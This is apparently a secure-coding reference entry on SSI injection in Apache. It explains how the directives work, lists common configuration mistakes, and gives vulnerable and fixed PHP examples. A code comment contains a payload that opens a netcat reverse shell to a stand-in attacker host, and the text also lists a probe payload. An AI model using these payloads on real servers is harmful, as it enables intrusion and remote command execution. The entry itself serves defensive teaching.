Server-Side Includes (SSI) Injection
debt(d7/e3/b3/t7)
Closest to 'only careful code review or runtime testing' (d7). Semgrep can flag echoing unescaped input, but detecting whether SSI is actually enabled requires inspecting Apache config and `.htaccess` files across the deployment — usually only caught by careful review or pentesting probes.
Closest to 'simple parameterised fix' (e3). The quick_fix is two changes: disable `Options +Includes` in config and add `htmlspecialchars()` on reflected values — small parameterised hardening, not a one-liner but contained.
Closest to 'localised tax' (b3). Applies only to web context on Apache deployments; the SSI configuration choice burdens the server config and templating layer but doesn't reshape the whole codebase.
Closest to 'serious trap' (t7). The misconception is that SSI is obsolete and off by default — but shared hosts enable it, `.htaccess` flips it on, and even `.html` files can be parsed. Developers also wrongly assume `IncludesNOEXEC` removes all risk. Contradicts the modern intuition that legacy features are dormant.
Also Known As
TL;DR
Explanation
Server-Side Includes are an old templating mechanism, still enabled on many Apache deployments via the `Includes` option and `.shtml` files (or `AddType text/html .html` style configurations that route HTML through the SSI parser). Directives include `<!--#include virtual="..." -->` (file inclusion), `<!--#exec cmd="..." -->` (shell command execution, RCE-class), `<!--#exec cgi="..." -->` (CGI execution), `<!--#config ... -->` and `<!--#echo var="..." -->` (variable disclosure including environment variables). SSI injection happens when an application stores or reflects user input into a page parsed for SSI directives — a guest book, a comment system, a profile page — and the server executes the embedded directives at render time. Many engineers assume SSI is dead; in practice, legacy hosting setups, default Apache configurations on shared hosting, and overlooked `.htaccess` directives keep it alive. Defences: disable SSI globally unless required (`Options -Includes` and `Options -IncludesNOEXEC`), HTML-encode user input even in static-feeling pages, restrict SSI parsing to specific extensions and directories, and use `IncludesNOEXEC` to disable the dangerous `#exec` directive while keeping benign includes if they're truly needed.
How It's Exploited
Watch Out
Common Misconception
Why It Matters
Common Mistakes
- Enabling `Options +Includes` for a directory and forgetting it years later — SSI parses every page in that tree.
- HTML-encoding user input only in `<script>` and attribute contexts, leaving comments and text content vulnerable to `<!--#exec ... -->`.
- Trusting that `.html` files don't parse SSI — they do if `AddType text/html .html` and `AddOutputFilter INCLUDES .html` are set.
- Using `IncludesNOEXEC` and assuming all SSI risk is gone — `#include virtual` still allows file disclosure of CGI-executable paths.
- Filtering only `<script>` and `<iframe>` while letting `<!-- -->` comments through to the SSI parser.
Avoid When
- Modern Nginx / FPM-only stacks with no SSI filter — surface area is zero.
When To Use
- Auditing Apache deployments that serve `.shtml` files or have `AddOutputFilter INCLUDES` configured.
- Reviewing legacy applications hosted on shared hosting where SSI defaults are unclear.
- Penetration testing — submit `<!--#echo var="DATE_LOCAL" -->` in reflected fields as a quick probe.
Code Examples
// ❌ User input echoed into a page Apache parses for SSI directives
// File: /var/www/comments.shtml
// .htaccess: Options +Includes
// AddOutputFilter INCLUDES .shtml
<?php
foreach ($comments as $comment) {
echo "<div class='comment'>";
echo $comment['body']; // ⚠ Unencoded — SSI directives survive
echo "</div>";
}
// A comment of <!--#exec cmd="nc attacker 4444 -e /bin/sh" -->
// becomes a reverse shell when Apache's SSI filter parses the response.
// ✅ HTML-encode every user value AND disable SSI on directories that don't need it
// .htaccess (or vhost):
// Options -Includes -IncludesNOEXEC
// RemoveOutputFilter INCLUDES .html .shtml
<?php
foreach ($comments as $comment) {
echo "<div class='comment'>";
echo htmlspecialchars($comment['body'], ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo "</div>";
}
// Defence in depth:
// 1. htmlspecialchars converts < > & " ' so SSI delimiters cannot survive output.
// 2. SSI is disabled at the server level so even if encoding fails, no directives execute.
// 3. The .shtml extension is blocked entirely on directories serving user-influenced pages.